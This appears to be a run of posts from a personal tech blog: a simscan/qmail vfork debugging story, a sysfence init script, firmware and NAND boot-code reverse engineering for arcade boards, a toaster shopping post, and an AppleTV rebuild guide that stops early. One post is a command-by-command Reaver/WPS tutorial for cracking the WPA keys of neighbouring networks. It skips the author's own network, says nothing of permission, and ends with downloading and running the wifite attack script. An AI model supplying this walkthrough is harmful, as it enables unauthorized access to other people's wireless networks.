While I usually am good at finding issues relatively quickly, I spent roughly 5 hours troubleshooting an issue today with incoming mail scanning.

What was the issue we were seeing?

Mail would randomly not get scanned by our mail scanner process (simscan), and simscan would exit with errors in various places.

eg

@4000000050d6d5601caac0b4 simscan: in run_ripmime
@4000000050d6d5601caac49c simscan: ripmime error
@4000000050d6d5601cab12bc simscan: exit error code: 71
@4000000050d6d5610478e3cc tcpserver: end 26607 status 0
@4000000050d6d5610478eb9c tcpserver: status: 5/150

What went wrong?

Initially I thought a recent update of our internal antivirus scanner software was to blame, as that was the only change.
I quickly eliminated that as an issue, by disabling the av test.
It worked for a few minutes, then started working incorrectly again.

My next thought was permissions, so I checked those against other servers, checked file permissions, checked ownership etc – all looked good.

Still no progress.

Eventually I recompiled most of the mail subsystem in case something funky was going on. Still no progress.

As it seemed to literally only happen to the simscan process, I decided to look into that code.

I compiled without rip mime initially, as I thought that was the issue, but again, it would work for one or two mails, then start breaking.

I decided to add in some additional debugging code inside simscan.c to see where things were breaking.

@4000000050d6d54c0d613584 simscan: in run_ripmime
@4000000050d6d54c0d613584 simscan: ripmime error
@4000000050d6d54c0d61a6cc simscan: exit error code: 71

I could see that it was calling the correct code segment, but still failing.
If I compiled without ripmime, it would work for a few minutes, then also fail on clamdscan.

I fiddled about with that for a good hour or two, until I decided to add more debugging, and recompile with ripmime again.

I added a few debug statements into simscan to let me know what was happening inside the ripmime function:

int run_ripmime()
{

/* fork ripmime */
switch(pid = vfork()) {
case -1:
if ( DebugFlag > 0 ) {
fprintf(stderr, "simscan:vfork ripmime error.\n");
}
return(-1);
...


I could see that simscan couldn’t fork ripmime.
What was weird though, was that if I changed to the simscan process, and ran the test manually, it would work.

Just not though qmail

After another hour or two of looking at incorrect things, I decided to go back and take a better look at the vfork issue.

Googling vfork fail linux eventually found my reason.

It ended up not being permissions related – vfork was actually failing, due to hitting its process cap.

qmail had reached its max limit of child processes, so simscan was getting called, then simscan would try to execute another process, and bam, max processes reached.

This was why it didn’t happen on the command line, but only in production.

The server is actually set to unlimited processes (see below), so this must probably have hit a linux kernel limit (unlimited doesn’t always mean unlimited!)

ulimit for server below:
ulimit -a
core file size (blocks, -c) 0
data seg size (kbytes, -d) unlimited
scheduling priority (-e) 0
file size (blocks, -f) unlimited
pending signals (-i) 16382
max locked memory (kbytes, -l) 64
max memory size (kbytes, -m) unlimited
open files (-n) 1024
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) unlimited
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited

ps -ef | grep qmail showed that we had a few hundred defunct qmail processes running, so did a

qmailctl stop

killall qmail-smtpd # which killed all the defunct processes)

qmailctl start

simscan started working once again. Next time it happens, I’ll be notified in the error log about vfork issues, and hopefully can spend some time to see why qmailctl restart doesn’t kill off the defunct qmail-smtpd processes…

This was quite a hard issue to debug, as all the issues and solutions online pointed to other common issues like permissions!

Eventually I’ll probably redo simscan to use fork() rather than vfork() as its not recommended.

Still, I learnt more useful things in the journey, so it wasn’t completely wasted time, although I wish it didn’t take me 5+ hours to debug!

Refs:
https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=1703954

Assuming all the tools are installed (http://code.google.com/p/reaver-wps/)

Reaver is an attack on WPA/WPA2 using a vulnerability in the WPS mechanism.

First up, we need to find out what our network cards are called, so use iwconfig to list wifi / network interfaces

eg

iwconfig

iwconfig
lo no wireless extensions.

wlan3 IEEE 802.11bg Mode:Monitor Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Power Management:on


In the above, we have wlan1 and wlan3 as possible interfaces.

Next up, we put the wifi card into monitor mode (pick a card)
Here I’m using wlan1

airmon-ng start

airmon-ng start wlan1

wlan1 Unknown rt2800usb - [phy0]
(monitor mode enabled on mon0)
wlan3 RTL8187 rtl8187 - [phy3]


That creates another interface (mon0 above), that we can connect to.
Next, we need to list the various wifi lans in the vicinity

We can use the new interface to do so (or use any existing wifi interface, doesn’t really matter)


airodump-ng mon0

EC:17:2F:F3:0F:A8 74:E2:F5:4D:C5:11 -1 0e- 0 0 2
EC:17:2F:F3:0F:A8 00:04:20:16:5E:52 -52 48 -54 0 14
EC:17:2F:F3:0F:A8 70:56:81:C2:1B:3B -66 0e- 1e 0 6
EC:17:2F:F3:0F:A8 00:23:4E:7E:FC:B4 -74 0e- 1 0 3
EC:17:2F:F3:0F:A8 00:08:65:30:93:D3 -76 36 -12e 0 217


Here you can see that the interface see’s 3 separate networks.
It can also identify that First_Network has connections from a number of computers

Ideally, we want to sniff the network with the most traffic, in this case, thats my existing network, so we’ll skip it.

We can see that Second_Network is on Channel 5, and Third_Network is on channel 11

Now we have enough information to try to discover the key for the other networks.

Startup reaver, and connect to a BSSID above

reaver -i mon0 -b BSSID -a -vv -c CHANNEL

BSSID’s –
00:18:39:28:3B:2C – Second_Network Channel 5
00:25:BC:8D:4F:F5 – Third_Network Channel 11

eg


reaver -i mon0 -b 00:25:BC:8D:4F:F5 -vv -a -c11

[+] Switching mon0 to channel 11
[+] Waiting for beacon from 00:25:BC:8D:4F:F5


This should connect to the network, and start to do its magic.

If you get issues like

[!] WARNING: Failed to associate with 00:25:BC:8D:4F:F5 (ESSID: Third_Network)

Then you need to try another with another wifi card chipset, as your drivers don’t support monitor mode correctly.

If it does connect, then you’re set. Let it run, and a few hours later, you should see the wifi name and password.

A much easier way to do all this, is of course to use the prepackaged scripts at

http://code.google.com/p/wifite/

wget -O wifite.py http://wifite.googlecode.com/svn/trunk/wifite.py

chmod +x wifite.py

./wifite.py

Then have fun..

Once again, its been a while since I did a shopping post.

While my expenditures on Taobao appear to be at an all-time high, its mostly on computer related items.

Still, its not all work, and I do get time to research random stuff on occasion whilst sourcing stuff.

This in particular caught my eye at first –

Its a little bit expensive for a toaster, as its a japanese import, so I took a look at the local varieties.

Having a sunny day is obviously affordable for the white collar worker, as can be seen from the pricing above.

But what about the blue collar workers?

…Why yes, they too can also have a happy day.

If Doraemon is not your thing, then what about a most probably unlicensed Pinnie the Wooh, cough, cough toaster?

No love for that?

What about this –

Lastly, because this *is* asia, yes, it does come in Hello Kitty.

I’m still looking for Jesus 🙂

A while ago I wrote a post about sysfence. http://www.computersolutions.cn/blog/2010/12/debian-system-load-monitoring/

As it really was a while ago, I’ll recap quickly.

Sysfence is a small, light system monitoring app that has a nice heavy hand. If load goes over user defined limits, it will kill processes specified in its config (with extreme prejudice), and only start them up again once load is back under a certain level.

Got that?

Ok.

sysfence is rather good at what it does, fits my needs, so I’ve continued to use it over the years. One of the things I never got around to doing was making a startup script for it – this is mostly as it works as advertised – i’ve had zero issues!

That said, someone finally called my bluff and asked me for my startup script, which of course, I didn’t have, so I made one this morning.

The script is debian biased, and depends on where you installed sysfence.

You’ll need 3 files as below. Change settings to your needs.

1) Basic settings for sysfence

/etc/default/sysfence


SYSFENCE_ENABLE=true #Are we enabled (er, yes!)
DAEMON_OPTS=" /etc/sysfence/sysfence.conf" #Where is our ruleset
MAILTO="root" #Who to call in case of issues.


2) Config file for sysfence

/etc/sysfence/sysfence.conf


#[Your sysfence watch rules goes here]
#My example below

rule "Apache" {
la1 >= 6.00 or la5 >= 3.5
}
run '/usr/sbin/apache2ctl stop; sleep 120; /usr/sbin/apache2ctl start'
rule "warning" { la1 >= 6.00 } run once 'echo "Load High: $HOSTNAME" | mail $MAILTO'


3) Debian Startup script


#!/bin/sh
### BEGIN INIT INFO
# Provides: sysfence
# Required-Start: $local_fs $remote_fs
# Required-Stop: $local_fs $remote_fs
# Should-Start: $network
# Should-Stop: $network
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Daemonized version of sysfence
# Description: Starts the sysfence daemon
# /etc/default/sysfence.
### END INIT INFO
# Author: L. Sheed

You can download the init script here – sysfence init script for debian

Yikes, I almost forgot the other bit of this post. Tsk tsk…

The makefile doesn’t make in some of my servers. Its probably that dash shell expansion breaks stuff vs bash, but haven’t investigated it properly.

This is a simple fix

open up the makefile and change the expansion stuff to explicitly list the .o files.

eg

Makefile says:

CC=gcc
LDFLAGS=
CFLAGS=-Wall -O2
objects=conditions.o getstats.o mainloop.o cp2memory.o datastruct.o sysfence.o
parseopt=parseopt/{confread,lex,parse}.o
sys=sys/{exit,xalloc,log,communication,sighandlers,processtitle,users}.o
... (rest of the file)


Change to:


CC=gcc
LDFLAGS=
CFLAGS=-Wall -O2
objects=conditions.o getstats.o mainloop.o cp2memory.o datastruct.o sysfence.o
parseopt=parseopt/confread.o parseopt/lex.o parseopt/parse.o
sys=sys/exit.o sys/xalloc.o sys/log.o sys/communication.o sys/sighandlers.o sys/processtitle.o sys/users.o
... (rest of the file)


make clean

and

make

Simple!

Occasionally some of our suppliers send us presents.
Usually not often enough, but I have scored me some Haagen Daaz Moon Cakes in the past after hinting heavily that while I’m sure that red bean tastes really nice, I’d probably enjoy an ice cream one more.

This morning we had a small package come into the office addressed to Eugene.

We opened it up, and saw a metal box inside (just like the one we use for our Fridge Magnets).
Ahah, I thought, and I affirmatively acquired it to my desk.

Inside was some advertising fluff, a plastic “metal” badge, and an ooh, gifty looking metal box.

We opened the box to find a thank you for your business from net.cn (万网)

Putting that aside, we took the top foam off, to find….

Nothing.

I didn’t get a USB key (or whatever usually goes into the box), but the gift of imagination.
Yay. Score.

I think next time I’ll let Eugene keep the box!

Someone from the JammaForums.co.uk emailed me a copy of the firmware in their SD card from a XinYe 138 in 1.

Card looks something like this:

I don’t have one, but I took a quick look at the data provided, and it looks fairly straightforward to “hack”.

It actually took me less than 30 minutes to have most of the good bits extracted from receiving the file!

There are 2 files on the SD card.

One is a 64 byte file called sn.bin which contains this data:

This looks suspiciously like a header, but I haven’t taken a clear look.

The second file is called x3rodl.bin, and contains a Linux firmware in ARM format.

The first few hundred bytes look like this:

Its obviously in ARM format, as the first set of bytes are ARM no-op codes.

00 00 A0 E1, which repeats 8 times.
02 00 00 EA, then…
18 28 6F 01 – Which is a magic word indicating that this contains a zImage (compressed Linux kernel)

18 28 6F 01 = 0x016f2818

Linux code looks something like this for identifying if its a kernel:

if (*(ulong *)(to + 9*4) != LINUX_ZIMAGE_MAGIC) {
printk("Warning: this binary is not compressed linux kernel image/n");
printk("zImage magic = 0x%08lx/n", *(ulong *)(to + 9*4));
} else {
printk("zImage magic = 0x%08lx/n", *(ulong *)(to + 9*4));
}


9 * 4 = 36, which is our location, and this happens to have our magic number.
So, we know its a kernel. Its also probably the VIVI bootloader from Samsung, as that uses that style MAGIC.

The following bits of data, contain the setup for the kernel, and the boot code.

This continues on until the compressed kernel+ramdisk. That starts with 1F 8B 08 (gzip header bytes) over at 0x3EF2, until roughly the end of the file.

I extracted that part and had a quick look.
Its about 7.7M size unpacked.

Linux version is: 2.6.36-FriendlyARM

Boot params are:
console=ttySAC0,115200 root=/dev/ram init=/linuxrc initrd=0x51000000,6M ramdisk_size=6144

RAMDISK File System starts at 0x20000, and looks like this:

lawrence$ ls -al
total 24
drwxr-xr-x 13 lawrence staff 442 Jun 17 23:09 .
drwxr-xr-x 4 lawrence staff 136 Jun 17 23:08 ..
drwxr-xr-x 51 lawrence staff 1734 Jun 17 23:09 bin
drwxr-xr-x 2 lawrence staff 68 Jun 17 23:09 dev
drwxr-xr-x 11 lawrence staff 374 Jun 17 23:09 etc
-rwxr-xr-x 1 lawrence staff 3821 Jun 17 23:09 init
-rw-r--r-- 1 lawrence staff 3821 Jun 17 23:09 init~
lrwxrwxrwx 1 lawrence staff 11 Jun 17 23:09 linuxrc -> bin/busybox
drwxr-xr-x 2 lawrence staff 68 Jun 17 23:09 proc
drwxr-xr-x 2 lawrence staff 68 Jun 17 23:09 r
drwxr-xr-x 19 lawrence staff 646 Jun 17 23:09 sbin
drwxr-xr-x 2 lawrence staff 68 Jun 17 23:09 sdcard
drwxr-xr-x 4 lawrence staff 136 Jun 17 23:09 usr


The bootup script for this looks like this:


#! /bin/sh

# for running game
umount /proc
exec switch_root /r $INIT /r/dev/console 2>&1


The secondary loader in init looks like this:

Fairly easy to reverse!

Refs:
http://www.jammaplus.co.uk/
http://blog.csdn.net/liangkaiming/article/details/6259189

Following up from my previous posts on this, looks like my idea’s are correct about the size of the NAND for setup, and my NAND read stuff works. Yay for me.

Lets recap:

JZ4755 boot sequence is as follows:

CPU powers up.
Checks BOOT_SEL line, takes appropriate action.

boot_sel[1:0]
00 Unused
01 Initialization via USB port: Receives a block of data through the USB (device) port,
and stores it in internal SRAM.
10 Initialization via NAND memory with 512-byte pages at Chip Select 1 (CS1):
11 Initialization via NAND memory with 2048-byte pages at Chip Select 1 (CS1):

In our board, if we press BOOT, this pulls the pin low, so CPU see’s 01, and waits for an IPL from USB.
If we leave it to boot normally, then it reads from NAND.

So far so good.

Lets see if anyone was watching carefully 🙂
Our board NAND chip has a page size of 8192+OOB
Our *CPU Hardware* supports either 512bytes or 2048bytes page size on boot.
Our IPL (aka NAND.BIN) must be 8K in size or less, as the CPU has 8k only, and it copies the bootloader to that obeying BOOT_SEL.

Lets look at what happens.

If I read out the NAND (NREAD 0 8192 0 0) with our carefully set sizing, I see the following:

0000 - 2047 (2k in size) - DATA FF 55 55 .. 02 00 0C
2048 - 2549 (512bytes in size) - BLANK
2560 - 4607 (2k in size) - DATA (padded at end with FF's to 2k size) 21 20 00 .. 85 8c 90+ FF -> 2048 end
4608 - 6655 (2k in size) - DATA (padded at end with FF's to 2k size)

So, we have roughly about 6k odd of data, out of our 8k max. Its a bit weirdly laid out though, and has some holes in there, so its _not_ correct 🙁

Lets look at the RAW NAND DUMP (NREAD_RAW 0 8192 0 0). Our raw page size is 8192.

Page 0
00000 - 02047 (2k in size) - DATA FF 55 55 .. 02 00 0C (same as before)
02048 - 02102 (55 bytes) - (presumed OOB / ECC stuff...) NEW
Page 1
08192 - 10239 (2k in size) - DATA 21 20 00 .. 10 80 00. Our 85 8c 90 above is actually part of the 55byte sequence, so definitely our NREAD is incorrect, as we're suddenly short data.
10240 - 10294 (55 bytes ) - (presumed OOB / ECC stuff...) NEW
Page 2
16384 - 18431 (2k in size) - DATA (padded with 0's from 17892 - 18431), so our NAND loader data is roughly 5.5KBish.
18432 - 18486 (55 bytes ) - (presumed OOB / ECC stuff...) NEW
Page 3
25026 onwards FF's - so uninitialized.

So, with that, we know that NREAD doesn’t quite work for our first 4 pages (page 0 – 3), and we either need to NREAD_RAW, or possibly use a 2048byte page size in order to read the NAND.BIN properly.

Thats only necessary for the first 4 pages in the NAND though.
Once the NAND.BIN MINIOS bootstrap is running, it should be able to cope with our proper data size.

How does it do that though?

MINIOS Bootloader starts up, as it gets added to the CPU boot sequence detailed above, then it looks for 3 things in 3 places 🙂

Our mystery locations for that are:

Page 61
Page 62
Page 63

Page 61 contains our NAND size stuff, which as we know from above, our Bootloader *can’t* use, as its only 2k or 512byte set at the hardware level initially.

Page 61 in mine has 12 bytes. This looks exceedingly good as I know that my work is, er, working 🙂

USBBoot :> nreadraw 61 24 0 0
Reading RAW from No.0 device No.0 flash....
0x00000000 :00 20 00 00 c0 01 00 00 00 01 00 00

00 20 00 00 = 8192 PAGE SIZE
c0 01 00 00 = 448 OOBSIZE
00 01 00 00 = 256 PAGE PER BLOCK


Lets look at the 3 bytes.

First 16bit word is = 8192 – thats our Page Size
Second 16bit word is = 448 – thats our OOB size (oob = out of block, usually used for CRC or Error etc, as NAND can go BAD if you write to it frequently)
Third 16bit word is = 256 – thats how many pages per block we have.

Block 61, and Block 62 are the same. Basically 62 is a backup of 61. If the NAND.BIN MINIOS loader can’t read Block 61 12 bytes, it tries Block 62. If neither work, you’ll need to reflash, or replace the NAND…

Block 63 contains a whole 10 bytes. This is the UID of the device. Mine is set to 0. Lazy buggers 🙂

Ok, so now we booted, and the MINIOS bootstraploader / NAND.BIN has read our NAND size, then what?

Well, you’ll need to disassemble the code to see (eg as part of my previous post), but essentially it calls the next thing in line.

This can be Linux, or something else. In the board, the OS used is MINIOS, so it loads something else – aka MINIOS.

MINIOS is actually uCOS-II – You can find details on that from Micrium, as they licence it out.
Ingenic has a custom version of uCOS-II for their board. uCOS-II is also a RTOS (Real Time OS).

You can read more on MINIOS here – http://en.wikipedia.org/wiki/MicroC/OS-II

Anyway, lets get back to work, and less chatter 🙂

NAND.BIN passes control onto whatever is sitting at Page 128 (this can be changed, but in the JAMMA board, and in the GameBox GBX-0001), the next loader is at Page 128.

As I don’t have much info on the MINIOS side, I got a lot of this info from other places. Mostly the MINIOS_CFG.INI in the Ingenic FTP Site, plus some gracious help from Joseba Epalza (thanks!) at www.zonadepruebas.com. He supplied a Gamebox dump, and asked me a few questions, which made me re-examine things, which was extremely useful as then I could bounce idea’s and findings off of someone else.

The Gamebox hardware and the Jamma hardware is extremely similar, so the NAND dump in both is good for both of us to double check each others work. Unfortunately, I don’t speak Portuguese Spanish, so we both relied on Google Translate to talk via email today, but we seem to be doing ok 🙂

Onto the tech side again, our secondary loader is, in MINIOS terms, called LOADER.BIN

This sits at Page 128
LOADER.BIN tries to read a file called DEF_BOOT.BIN for configuration settings, as that tells LOADER.BIN where the rest of the filesystem is!

In theory, Page 256 contains
DEF_BOOT.BIN

I need to go back and recheck that now, as my dumps are a bit messy, and I need to check on actual hardware, vs the many whoops I renamed that wrong files I now have messing up my desktop.
I also need to check if I need to read as 2k block size/or raw to get the correct data in these pages, as one place online says that the secondary bootloader (LOADER.BIN) also assumes 2k size.

Other bits:

IMG_BOOT.BIN – bootup code if used.
MINIOS.BIN – the OS.
RES.BIN – Resources used by MINIOS.BIN

The rest… (FAT16 Filesystem which is readable over USB via normal boot)
—

Ignoring my first 8k not quite correct dumped dumps + possibly borked secondary loader stuff, the rest of the data dump looks accurate.

I have what looks like RES.BIN stuff, I have a MINIOS, and I can see interesting things.

Interesting things below:

Dump pos 0x100200 - seems to have the RES.BIN filesystem in mine -

mobile_tv.bin
desktop.bin
udc_battery.bin
sysconfig.bin
toolsbox.bin
calendar.bin
ebook.bin
worldclock.bin
russblock.bin
fmradio.bin
recorder.bin
mp3_compress.bin
viewer.bin
jpgdec.bin
pngdec.bin
bmpdec.bin
gifdec.bin
AudioTag.bin <-- significant, means case sensitive vplayer.bin fplayer.bin aplayer.bin video.bin alarm.bin gameplay.bin gba_lib.bin nes_lib.bin snes_lib.bin md_lib.bin ticru_lib.bin dcDecoder.bin dvEncoder.bin dcdv.bin mpcodecs_ad_liba52.bin mpcodecs_ad_hwac3.bin ffmpeg64.bin ffmpeg_vd_mpegmisc.bin ffmpeg_vd_mpegmisc2.bin ffpmeg_vd_mpegvideo.bin mpcodecs_vs_libmpeg2.bin ffmpeg_vd_svq3.bin mpcodecs_vd_realvid.bin aux_task.bin desktoplib_simplen.bin desktoplib_drawer.bin desktoplib_slide.bin desktoplib_tradition.bin <- chinese traditional desktoplib_arena.bin desktoplib_diorama.bin

So, I know that that part is correct at least, as it really truly looks like proper data 🙂
Other things of note.

Our FAT part of the NAND, that is USB accessible is referred to internally as nfl: (Nand FLash I expect).

Looks like our loader looks for these files in the user side:

nfl:\system\music.img
nfl:\system\ebook.img
nfl:\system\desktop.img
nfl:\system\record.img
nfl:\system\system.cfg
nfl:\system\UPDATE.BIN

Filename strings are NULL terminated.

There is also this:

nfl:\GAME \gamegameList

This seems to be our mapping of game.zip -> proper name file (having taken a look at that).
Which, is why when I added FBANext compatible stuff to the user FS, it complained that it was garbage, but still worked. Lazy lazy lazy hardcoded file list, tsk tsk.

Other other observations -
I was wrong on my guess about DMENU - its actually the bog standard uCOS-II File System dialog in use.
I was wrong about FBANext being used, it looks more like FBAPlus PSP was used, and our version still has the Exit to PSP dialog still in there, as well as the menu options for the framerate etc. I guess I need to see how to bring that up, as that *is* useful!
Mine says JZ4740 1.0sp1 Nov 19 2011 in the ROM. Guess codebase for MINIOS is JZ4740 based?

Lastly, and even more useful, there apparently is a Mini console - Mini CONSOLE V1.0
I need to see how to setup access, as that looks quite interesting...

Guess I need to see if I can get the Ingenic RTOS/uCOS-II stuff, unfortunately their FTP site has it, but the RAR file is broken, so it doesn't unrar completely. This means we're missing all of the good bits that we need for reference. I can give them a call Monday though, and see if they'd be interested in helping me out.

Pretty good progress though 🙂

Good reference on this:
http://code.google.com/p/dingoo-linux/wiki/DualBoot
http://www.vogeeky.co.cc/software/minios/struktura-minios (Russian)
http://micrium.com/page/downloads/ports/mips_technologies - MiniOS Mips code. Useful more for how MINIOS does its stuff, than relevance to us.
http://forum.arcadecontrols.com/index.php?topic=108550 - The thread where I've been posting other findings on this.

Continuing on from my last post.

The board I have contains the following hardware (other than the CPU)

RAM – k4s561632d-tl75 = 16M X 8BITS x 2 banks (64m ram?)
ROM – H27UBG8T2A TR = 4G Nand Flash (4G MLC? some ref as 2G, need to double check..)

NAND Config:
1024 blocks. Each block has 256 programmable pages. Each Page is 8640 bytes (8192+448spare)

Ingenic has a USBBoot.exe tool which can be used to view the NAND.
Testing was done with these nand settings in usbboot.cfg:


[PLL]
EXTCLK            24            ;Define the external crystal in MHz
CPUSPEED        336            ;Define the PLL output frequency
PHMDIV            3            ;Define the frequency divider ratio of PLL=CCLK:PCLK=HCLK=MCLK
BOUDRATE        57600            ;Define the uart baudrate. Yes they misspelt it.
USEUART            1            ;Use which uart, 0/1 for jz4740,0/1/2/3 for jz4750

[NAND]
BUSWIDTH         8            ;The width of the NAND flash chip in bits (8|16|32)
ROWCYCLES         3            ;The row address cycles (2|3)
PAGESIZE         8192            ;The page size of the NAND chip in bytes(512|2048|4096)
PAGEPERBLOCK        256             ;The page number per block
FORCEERASE         0            ;The force to erase flag (0|1)
OOBSIZE             448            ;oob size in byte
ECCPOS              0            ;Specify the ECC offset inside the oob data (0-[oobsize-1])
BADBLACKPOS         0            ;Specify the badblock flag offset inside the oob (0-[oobsize-1])
BADBLACKPAGE        0               ;Specify the page number of badblock flag inside a block(0-[PAGEPERBLOCK-1])
PLANENUM        2            ;The planes number of target nand flash
BCHBIT           4            ;Specify the hardware BCH algorithm for 4750 (4|8)
WPPIN             19            ;Specify the write protect pin number 
BLOCKPERCHIP        0            ;Specify the block number per chip,0 means ignore


NAND Config notes –

HYNIX_H27UBG8T2AR 3.3V 32Gbit NAND
4096M x 8bit

ID of No.0 device No.0 flash: // ad d7 94 9a 74 42
Vendor ID :0xad (Hynix) //Manufacturer Code
Product ID :0xd7 (Device ID) // Device Identifier
Chip ID :0x94 //Internal Chip Number
Page ID :0x9a //Page Size/BlockSize/Redundant Area
Plane ID :0x74 //Plane Number , ECC
Tech ID :0x42 //Tech / EDO /Interface

3.3V Bus Width x8

3rd Byte Dev ID

0x94=0b10010100

00 – Internal Chip Number 1
01 – 4 Level Cell (cell type)
01 – 2 pages programmed at once
10 – Interleave supported, Write Cache Supported

0x9a=0b10011010

10 – 8kb page size
0 10 – 448 Bytes (redundant area size)
1 01 – 2M Block Size (without spare area)

0x74=0b 0 111 01 00

01 – 2 Planes
ECC level – reserved.

0x42=0b01 000 010
010 32nm Nand
0 EDO Supported
0 SDR NAND Interface

—-

I also see this though in one of the nand.cfg files

NandID,NandExtID=PlaneNum, Tals, Talh, Trp, Twp,Trhw, Twhr, dwPageSize, dwBlockSize, dwOOBSize, dwPageAddressCycle,dwMinValidBlocks,dwMaxValidBlocks, NandName

0xADD7,0x00749A94=1, 15, 5, 15, 15, 100, 80, 8192, 2048*1024, 448, 3, 1998, 2048, “HYNIX_HY27UBG8T2ATR”}

Its referred to there as a 2G sized chip. So.. are Hynix Docs right or the above?

—

A look at the NAND shows:

USBBoot :> nreadraw 0 1024 0 0

00000000 ff 55 55 55 55 55 55 55 ff ff ff ff 01 00 11 04 |.UUUUUUU……..|
00000010 00 00 00 00 21 e0 e0 03 00 00 e9 8f 21 e0 20 01 |….!…….!. .|
00000020 00 80 1d 3c 00 40 bd 37 00 80 19 3c 90 06 39 27 |…<.@.7...<..9'| 00000030 08 00 20 03 00 00 00 00 00 00 00 00 00 00 00 00 |.. .............| 00000040 1b 43 02 3c 83 de 42 34 19 00 82 00 0f 00 02 3c |.C.<..B4.......<| 00000050 10 20 00 00 40 42 42 34 82 24 04 00 1b 00 44 00 |. ..@BB4.$....D.| 00000060 f4 01 80 00 50 c3 03 34 21 60 a0 00 12 48 00 00 |....P..4!`...H..| 00000070 1b 00 69 00 f4 01 20 01 12 28 00 00 02 10 25 71 |..i... ..(....%q| 00000080 01 00 a4 24 50 c3 42 38 0b 28 82 00 04 00 a3 2c |...$P.B8.(.....,| 00000090 33 00 60 10 0c 00 a2 2c 04 00 05 24 fc ff a2 24 |3.`....,...$...$| 000000a0 40 23 02 00 20 4e 02 24 1b 00 49 00 f4 01 20 01 |@#.. N.$..I... .| 000000b0 12 28 00 00 04 00 a3 2c 27 00 60 14 c0 12 05 00 |.(.....,'.`.....| 000000c0 08 00 a2 2c 2a 00 40 10 00 18 8a 34 00 5a 05 00 |...,*.@....4.Z..| …. Our JZ4755 is a MIPS XSCALE CPU. The above dump is off of a NAND, so we have a 12byte prefix (need to look at the JZ dev nand.c for a proper reason why). Allegedly in the spanish forums, its due to NAND write testing for signedness etc. If I run it through a decompiler eg mips-linux-objdump -bbinary -mmips -D ..., I do see valid code, so our initial dump looks correct for MIPS. MIPS == Backasswardness vs our dump, cough. 0: 555555ff 0x555555ff 4: 55555555 0x55555555 8: ffffffff 0xffffffff c: 04110001 bal 14 10: 00000000 nop 14: 03e0e021 move gp,ra 18: 8fe90000 lw t1,0(ra) 1c: 0120e021 move gp,t1 20: 3c1d8000 lui sp,0x8000 24: 37bd4000 ori sp,sp,0x4000 28: 3c198000 lui t9,0x8000 2c: 273906b8 addiu t9,t9,1720 30: 03200008 jr t9 34: 00000000 nop 38: 00000000 nop ... This should match up to our IPL -> SPL stuff uboot loader. Lets see, first though, an explanation.

IPL?

IPL = Initial Program Loader.
This is in CPU, and 8K in size (need to double check that in the Ingenic CPU docs), basically it boots to NAND, runs the code in NAND, unless otherwise directed via boot_sel.

Boot_Sel I hear you ask?

The JZ4755 has an integrated ROM with 8KB this memory is connected to the External Memory Controller (EMC).
After a processor reset, the processor runs the program contained in the ROM memory, and depending on the values of the boot_sel[1:0] flags carries out the following operations:

boot_sel[1:0]
00 Unused
01 Initialization via USB port: Receives a block of data through the USB (device) port,
and stores it in internal SRAM.
10 Initialization via NAND memory with 512-byte pages at Chip Select 1 (CS1):
11 Initialization via NAND memory with 2048-byte pages at Chip Select 1 (CS1):

Our CPU then reads the first byte from NAND to determine whether the bus is 8- or 16-bit.
(if bit[7:4] = 0, it is 16-bit), and the number of cycles per page is 2 or 3 (if bit[3:0] = 0, it is 2 cycles).
It then adjusts the EMC using this information and copies the first 8kB from NAND to the internal SRAM.

Our NAND has 8-bit data, 3 cyles, and 8192 bytes per page, so the first byte should be 0xFF

On our board, the boot_sel is configured by the cunningly labelled boot button.
If its pressed and we then connect a usb cable, our CPU then sits there waiting for an init via USB port.

So, we now know how the board boots up, and why our USB works.

So lets look at the actual boot code we decompiled above. Luckily I know a man with tar.gz roaming around the back streets, and persuaded him to give me some goodies. (Ok, fine, its all at the Ingenic.cn ftp site).

I’ll be even lazier though, and paste in the bits off of the Qi wiki here – http://en.qi-hardware.com/wiki/Boot_Process as its pretty much identical.

start.S

The first subroutine ran is the _start, which is defined in /cpu/mips/start.S, this subroutine makes a call to the reset function, defined on the same file, which code is shown next:

.globl _start
.text
.word JZ4740_NANDBOOT_CFG /*(0xffffffff) NAND 8 Bits 3 cycles */
b reset; nop /* U-boot entry point */
b reset; nop /* software reboot */
reset:
/*
* CU0=UM=EXL=IE=0, BEV=ERL=1, IP2~7=1 */
li t0, 0x0040FC04 /*t0 = 0x0040FC04 */
mtc0 t0, CP0_STATUS /*CP0_STAT = 0x0040FC04 Normal mode processor,
disable interrupts, Exception level normal,
kernel mode*/
/* IV=1, use the specical interrupt vector (0x200) */
li t1, 0x00800000
mtc0 t1, CP0_CAUSE /*CP0_CAUSE = 0x00800000 Cause of last exception*/

/* Init Timer */
mtc0 zero, CP0_COUNT /*Address at which processing resumes after an exception*/
mtc0 zero, CP0_COMPARE /**/

/* Initialize GOT pointer.
*/
bal 1f
nop
.word _GLOBAL_OFFSET_TABLE_
1:
move gp, ra
lw t1, 0(ra)
move gp, t1

la sp, 0x80004000
la t9, nand_boot
j t9
nop

Hmm, looks familiar doesn’t it.

If we look at hex dumps for most nand uboots for this device, you’ll find fairly similar code structures in all right at the start, albeit with slightly different header prefixes.

Next in series – dumping the NAND and converting the dumps back to binary for some reverse engineering the file system formats in use (assuming our NAND dumps are indeed correct!).

One of my clients had a non-working AppleTV Gen 1 edition (the white not quite Mac Mini one).
The Hard disk had died, so we needed to get a new OS on there.

While there are plenty of write-ups about upgrading them, I couldn’t find any clear instructions on starting from scratch. The closest I found was at the OpenElec forums within their upgrade script, so I used their drive partitioning as a baseline, then worked out how to go from there.

After a few hours of trial and error last night and today, I finally got to the point where I had a working drive, and could replicate the repair process from scratch.

Without further ado, here’s my instructions:

———————-

How to create a new working Apple TV Storage device for replacing an internal drive.

You’ll need:

1) atv_restore.tar.gz – chewitt.openelec.tv/atv_restore.tar.gz
2) atv_recovery.tar.gz – chewitt.openelec.tv/atv_recovery.tar.gz
3) OpenElec files for ATV – releases.openelec.tv/OpenELEC-ATV.i386-1.95.4.tar.bz2
4) A new storage device of some kind. 4G is enough, so CF or DOM or similar is suitable.
5) Ability to follow instructions, and use common sense.
If you lack this, find someone who can assist, and who has these attributes.
No, I’m not being facetious either, the operations below are destructive, so someone with a cluestick is preferred.

Ready?

Make a temp work folder.
eg

mkdir /tmp/atv
cd /tmp/atv

Unzip the OpenElec files, and put the SYSTEM, KERNEL, and place into the work folder.
